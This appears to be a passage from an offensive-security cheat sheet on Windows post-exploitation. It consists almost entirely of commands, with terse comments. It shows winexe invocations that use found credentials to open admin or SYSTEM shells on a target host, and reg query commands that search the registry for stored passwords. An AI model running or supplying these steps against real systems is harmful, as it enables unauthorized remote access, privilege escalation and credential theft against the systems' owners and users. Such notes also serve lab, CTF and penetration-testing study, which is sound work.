If you find any stored credentials, then you can use winexe to get a shell:
#If the user is admin then u will get a admin shell using this:
winexe -U 'admin%pass' //10.10.10.10 cmd.exe
#If the user is admin then u will get a system shell using this:
winexe -U 'admin%pass' --system //10.10.10.10 cmd.exe
#You can even query the whole registry manually:
reg query HKLM /f password /t REG_SZ /s (Search Local Machine registry)
reg query HKCU /f password /t REG_SZ /s (Search Current User registry)
